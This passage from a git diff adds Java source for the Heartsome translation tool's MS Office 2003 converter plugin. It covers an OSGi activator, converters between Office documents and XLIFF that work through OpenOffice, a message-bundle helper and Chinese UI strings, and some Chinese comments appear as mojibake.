ioe) { + if (Converter.DEBUG_MODE) { + ioe.printStackTrace(); + } + } + } + + /** + * Sets the msg. + * @param msgs + * the new msg + */ + public void setMsg(String msgs) { + this.msg = msgs; + } + + /** + * Gets the msg. + * @return the msg + */ + public String getMsg() { + return msg; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/Activator.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/Activator.java new file mode 100644 index 0000000..e491d20 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/Activator.java @@ -0,0 +1,234 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2003; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.openoffice.OpenOffice2Xliff; +import net.heartsome.cat.converter.openoffice.Xliff2OpenOffice; +import net.heartsome.cat.converter.util.AndFilter; +import net.heartsome.cat.converter.util.ConverterRegister; +import net.heartsome.cat.converter.util.EqFilter; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.ServiceReference; +import org.osgi.framework.ServiceRegistration; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class Activator. The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.msoffice2003"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The bundle context. */ + private static BundleContext bundleContext; + + /** The positive tracker. */ + private static ServiceTracker positiveTracker; + + /** The reverse tracker. */ + private static ServiceTracker reverseTracker; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + bundleContext = context; + // tracker the open office converter service + String positiveFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, OpenOffice2Xliff.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_POSITIVE)).toString(); + positiveTracker = new ServiceTracker(context, context.createFilter(positiveFilter), + new OpenOfficePositiveCustomizer()); + positiveTracker.open(); + + String reverseFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xliff2OpenOffice.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_REVERSE)).toString(); + reverseTracker = new ServiceTracker(context, context.createFilter(reverseFilter), + new OpenOfficeReverseCustomize()); + reverseTracker.open(); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + positiveTracker.close(); + reverseTracker.close(); + plugin = null; + bundleContext = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + // just for test + /** + * Gets the open office converter. + * @param direction + * the direction + * @return the open office converter + */ + public static Converter getOpenOfficeConverter(String direction) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return new OpenOffice2Xliff(); + } else { + return new Xliff2OpenOffice(); + } + } + + /** + * The Class OpenOfficePositiveCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class OpenOfficePositiveCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter inx2Xliff = new MSOffice2Xliff(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, MSOffice2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, MSOffice2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, MSOffice2Xliff.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerPositiveConverter(bundleContext, inx2Xliff, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + + /** + * The Class OpenOfficeReverseCustomize. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class OpenOfficeReverseCustomize implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter xliff2Inx = new Xliff2MSOffice(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2MSOffice.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2MSOffice.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2MSOffice.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerReverseConverter(bundleContext, xliff2Inx, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/MSOffice2Xliff.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/MSOffice2Xliff.java new file mode 100644 index 0000000..a1f4fa8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/MSOffice2Xliff.java @@ -0,0 +1,292 @@ +/** + * MSOffice2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2003; + +import java.io.File; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.ms2oo.CloseOOconnection; +import net.heartsome.cat.converter.ms2oo.DetectOORunning; +import net.heartsome.cat.converter.ms2oo.MS2OOConverter; +import net.heartsome.cat.converter.ms2oo.StartupOO; +import net.heartsome.cat.converter.msoffice2003.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + * The Class MSOffice2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class MSOffice2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-msoffice2003"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("msoffice2003.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MS Office Document to XLIFF Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public MSOffice2Xliff() { + dependantConverter = Activator.getOpenOfficeConverter(Converter.DIRECTION_POSITIVE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public MSOffice2Xliff(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + MSOffice2XliffImpl converter = new MSOffice2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * Gets the suffix name. + * @param str + * the str + * @return the suffix name + */ + public static String getSuffixName(String str) { + String suffixName = ""; //$NON-NLS-1$ + int i = str.lastIndexOf("."); //$NON-NLS-1$ + suffixName = str.substring(i + 1); + return suffixName; + } + + /** + * Gets the output file path. + * @param inputstr + * the inputstr + * @return the output file path + */ + public static String getOutputFilePath(String inputstr) { + String suffixPath = ""; //$NON-NLS-1$ + int i = inputstr.lastIndexOf("."); //$NON-NLS-1$ + String suffName = getSuffixName(inputstr); + suffixPath = inputstr.substring(0, i); + if (suffName.equalsIgnoreCase("doc")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".odt"; //$NON-NLS-1$ + } else if (suffName.equalsIgnoreCase("xls")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".ods"; //$NON-NLS-1$ + } else if (suffName.equalsIgnoreCase("ppt")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".odp"; //$NON-NLS-1$ + } else if (suffName.equalsIgnoreCase("rtf")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".odt"; //$NON-NLS-1$ + } else { + suffixPath = suffixPath + "." + suffName; + } + + return suffixPath; + } + + /** + * Gets the oupt file path. + * @param inputstr + * the inputstr + * @param suffName + * the suff name + * @return the oupt file path + */ + public static String getOuptFilePath(String inputstr, String suffName) { + String suffixPath = ""; //$NON-NLS-1$ + int i = inputstr.lastIndexOf("."); //$NON-NLS-1$ + suffixPath = inputstr.substring(0, i); + if (suffName.equalsIgnoreCase("doc")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".odt"; //$NON-NLS-1$ + } + if (suffName.equalsIgnoreCase("xls")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".ods"; //$NON-NLS-1$ + } + + if (suffName.equalsIgnoreCase("ppt")) { //$NON-NLS-1$ + suffixPath = suffixPath + ".odp"; //$NON-NLS-1$ + } + return suffixPath; + } + + /** + * The Class MSOffice2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class MSOffice2XliffImpl { + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + // 在外层添加一个 try{}finally{}ï¼Œç¡®ä¿ IProgressMonitor çš„ done 方法都会调用到。 + try { + // 把转æ¢æ“作分为 5 个部分:检查 open office æœåŠ¡æ˜¯å¦å¯ç”¨å  1 个部分,用 open office è½¬æ–‡ä»¶å  2 个部分,最åŽç”¨ xml 转æ¢å™¨è½¬æ–‡ä»¶å  2 个部分。 + monitor.beginTask(Messages.getString("msoffice2003.MSOffice2Xliff.task1"), 5); + + monitor.subTask(Messages.getString("msoffice2003.MSOffice2Xliff.task2")); + boolean openbyuser = DetectOORunning.isRunning(); // 判断是å¦æ‰‹åŠ¨å¯åŠ¨ + boolean configration = false; + + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2003.cancel")); + } + monitor.worked(1); + + Hashtable ooParams = new Hashtable(); + ooParams.put("ooPath", args.get("ooPath")); + ooParams.put("port", args.get("ooPort")); + + StartupOO startupoo = new StartupOO(ooParams); + configration = startupoo.detectConfOO(); + if (!configration) { + ConverterUtils + .throwConverterException( + Activator.PLUGIN_ID, + Messages.getString("msoffice2003.MSOffice2Xliff.msg1")); + } + + // 先转æˆOO,OO在转æˆXLIF + String inputFileStr = args.get(Converter.ATTR_SOURCE_FILE); + String suffixName = getSuffixName(inputFileStr); + File inputFile = new File(inputFileStr); + String outputstr = getOuptFilePath(inputFileStr, suffixName); + File outputFile = new File(outputstr); + + MS2OOConverter ms2ooConverter = new MS2OOConverter(ooParams); + // fixed a bug 917 by john. + try { + outputstr = outputFile.getName(); + int i = outputstr.lastIndexOf("."); //$NON-NLS-1$ + String suffixPath = ""; //$NON-NLS-1$ + String prefixPath = ""; //$NON-NLS-1$ + if (i > 0) { + prefixPath = outputstr.substring(0, i); + suffixPath = outputstr.substring(i, outputstr.length()); + } else { + prefixPath = outputstr; + } + outputFile = null; + outputFile = File.createTempFile(prefixPath, suffixPath); + outputstr = outputFile.getAbsolutePath(); + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2003.cancel")); + } + monitor.subTask(Messages.getString("msoffice2003.MSOffice2Xliff.task3")); + ms2ooConverter.startconvert(inputFile, outputFile, openbyuser); + monitor.worked(2); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + try { + openbyuser = false; + ms2ooConverter.startconvert(inputFile, outputFile, openbyuser); + } catch (Exception e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + + if (!openbyuser) { + CloseOOconnection.closeService(ms2ooConverter.getPort()); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("msoffice2003.MSOffice2Xliff.msg2"), e); + } + } + + // 这里将MSï¼ï¼DOC,XLS,PPTè½¬æˆ ODT,ODX,ODP文件 + args.put(Converter.ATTR_SOURCE_FILE, outputstr); + args.put(Converter.ATTR_FORMAT, TYPE_VALUE); + args.put("isofficefile", "true"); + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2003.cancel")); + } + monitor.subTask(Messages.getString("msoffice2003.MSOffice2Xliff.task4")); + result = dependantConverter.convert(args, Progress.getSubMonitor(monitor, 2)); + outputFile.delete(); + } finally { + monitor.done(); + } + return result; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/Xliff2MSOffice.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/Xliff2MSOffice.java new file mode 100644 index 0000000..bdbf8c0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/Xliff2MSOffice.java @@ -0,0 +1,235 @@ +/** + * Xliff2MSOffice.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2003; + +import java.io.File; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.ms2oo.CloseOOconnection; +import net.heartsome.cat.converter.ms2oo.DetectOORunning; +import net.heartsome.cat.converter.ms2oo.MS2OOConverter; +import net.heartsome.cat.converter.ms2oo.StartupOO; +import net.heartsome.cat.converter.msoffice2003.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * The Class Xliff2MSOffice. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Xliff2MSOffice implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(Xliff2MSOffice.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-msoffice2003"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("msoffice2003.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MS Office Document Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Xliff2MSOffice() { + dependantConverter = Activator.getOpenOfficeConverter(Converter.DIRECTION_REVERSE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Xliff2MSOffice(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2MSOfficeImpl converter = new Xliff2MSOfficeImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2MSOfficeImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2MSOfficeImpl { + private boolean isInfoEnabled = LOGGER.isInfoEnabled(); + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + String backfile = args.get(Converter.ATTR_TARGET_FILE); + String middleBackfile = MSOffice2Xliff.getOutputFilePath(backfile); + // 先转æ¢æˆODT,ODS,ODP等文件,然åŽåœ¨è½¬æ¢æˆDOC,XLS,PPT + args.put(Converter.ATTR_TARGET_FILE, middleBackfile); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸‰éƒ¨åˆ†å…± 10 个任,其中委派其它转æ¢çš„æ“ä½œå  4,检测 Open Office Service 是å¦å¯ç”¨å  2,调用 Open Office Service 进行的æ“ä½œå  4。 + monitor.beginTask(Messages.getString("msoffice2003.Xliff2MSOffice.task1"), 10); + long startTime = 0; + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger1"), startTime); + } + result = dependantConverter.convert(args, Progress.getSubMonitor(monitor, 4)); + long endTime = System.currentTimeMillis(); + if (isInfoEnabled) { + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger2"), endTime); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger3"), endTime - startTime); + } + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2003.cancel")); + } + monitor.subTask(Messages.getString("msoffice2003.Xliff2MSOffice.task2")); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger4"), startTime); + } + File backup = new File(backfile); + File middleFile = new File(middleBackfile); + boolean openbyuser = DetectOORunning.isRunning(); // 判断是å¦æ‰‹åŠ¨å¯åŠ¨ + boolean configration = false; + Hashtable ooParams = new Hashtable(); + ooParams.put("ooPath", args.get("ooPath")); + ooParams.put("port", args.get("ooPort")); + StartupOO startupoo = new StartupOO(ooParams); + configration = startupoo.detectConfOO(); + if (!configration) { + ConverterUtils + .throwConverterException( + Activator.PLUGIN_ID, + Messages.getString("msoffice2003.Xliff2MSOffice.msg1")); + } + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger5"), endTime); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger6"), endTime - startTime); + } + monitor.worked(2); + + // 是å¦å–消æ“作 + monitor.subTask(Messages.getString("msoffice2003.Xliff2MSOffice.task3")); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger7"), startTime); + } + MS2OOConverter ms2ooConverter = new MS2OOConverter(ooParams); + try { + ms2ooConverter.startconvert(middleFile, backup, openbyuser); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + try { + openbyuser = false; + ms2ooConverter.startconvert(middleFile, backup, openbyuser); + } catch (Exception e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + if (!openbyuser) { + CloseOOconnection.closeService(ms2ooConverter.getPort()); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("msoffice2003.Xliff2MSOffice.msg2"), e); + } + } + middleFile.delete(); + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger8"), endTime); + LOGGER.info(Messages.getString("msoffice2003.Xliff2MSOffice.logger9"), endTime - startTime); + } + monitor.worked(4); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("msoffice2003.Xliff2MSOffice.msg2"), e); + } finally { + monitor.done(); + } + result.put(Converter.ATTR_TARGET_FILE, backfile); + infoLogger.endConversion(); + return result; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/Messages.java new file mode 100644 index 0000000..fc098bb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/Messages.java @@ -0,0 +1,48 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2003.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.msoffice2003.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message.properties b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message.properties new file mode 100644 index 0000000..9016e78 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/msoffice2003/resource/message.properties @@ -0,0 +1,45 @@ +msoffice2003.MSOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2003.MSOffice2Xliff.task2 = \u6b63\u5728\u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528.... +msoffice2003.MSOffice2Xliff.task3 = \u6b63\u5728\u751f\u6210\u4e2d\u95f4\u4e34\u65f6\u6587\u4ef6.... +msoffice2003.MSOffice2Xliff.task4 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +msoffice2003.MSOffice2Xliff.msg1 = \u65e0\u6cd5\u5728\u6307\u5b9a\u7684\u8def\u5f84\u4e0b\u627e\u5230 OpenOffice \u7a0b\u5e8f\u3002\n\u8bf7\u786e\u8ba4\u5df2\u6b63\u786e\u5b89\u88c5 OpenOffice/LibreOffice\uff0c\u5e76\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1\u4e2d\u6b63\u786e\u8bbe\u7f6e\u5176\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msoffice2003.MSOffice2Xliff.msg2 = \u4f7f\u7528 OpenOffice \u8f6c\u6362 Microsoft Office 2003 \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002\n\u8bf7\u5148\u5173\u95ed\u6240\u6709 OpenOffice/LibreOffice \u7a0b\u5e8f\u3001\u5e76\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u7ed3\u675f\u6240\u6709 soffice \u8fdb\u7a0b\uff0c\u6216\u91cd\u542f\u7535\u8111\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +msoffice2003.Xliff2MSOffice.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2003.Xliff2MSOffice.task2 = \u6b63\u5728\u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528.... +msoffice2003.Xliff2MSOffice.task3 = \u6b63\u5728\u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362... +msoffice2003.Xliff2MSOffice.msg1 = \u65e0\u6cd5\u5728\u6307\u5b9a\u7684\u8def\u5f84\u4e0b\u627e\u5230 OpenOffice \u7a0b\u5e8f\u3002\n\u8bf7\u786e\u8ba4\u5df2\u6b63\u786e\u5b89\u88c5 OpenOffice/LibreOffice\uff0c\u5e76\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1\u4e2d\u6b63\u786e\u8bbe\u7f6e\u5176\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msoffice2003.Xliff2MSOffice.msg2 = \u4f7f\u7528 OpenOffice \u8f6c\u6362 Microsoft Office 2003 \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002\n\u8bf7\u5148\u5173\u95ed\u6240\u6709 OpenOffice/LibreOffice \u7a0b\u5e8f\u3001\u5e76\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u7ed3\u675f\u6240\u6709 soffice \u8fdb\u7a0b\uff0c\u6216\u91cd\u542f\u7535\u8111\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msoffice2003.Xliff2MSOffice.logger1 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger2 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger3 = [LOG] \u59d4\u6d3e\u5176\u5b83\u8f6c\u6362\u5668\u8fdb\u884c\u64cd\u4f5c\u5171\u7528\u65f6\uff1a{} +msoffice2003.Xliff2MSOffice.logger4 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger5 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger6 = [LOG] \u68c0\u67e5 OpenOffice \u670d\u52a1\u662f\u5426\u53ef\u7528\u5171\u7528\u65f6\uff1a{} +msoffice2003.Xliff2MSOffice.logger7 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger8 = [LOG] \u8c03\u7528 OpenOffice \u670d\u52a1\u5bf9\u6587\u4ef6\u8fdb\u884c\u8f6c\u6362\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2003.Xliff2MSOffice.logger9 = [LOG] \u8c03\u7528 OpenOffice 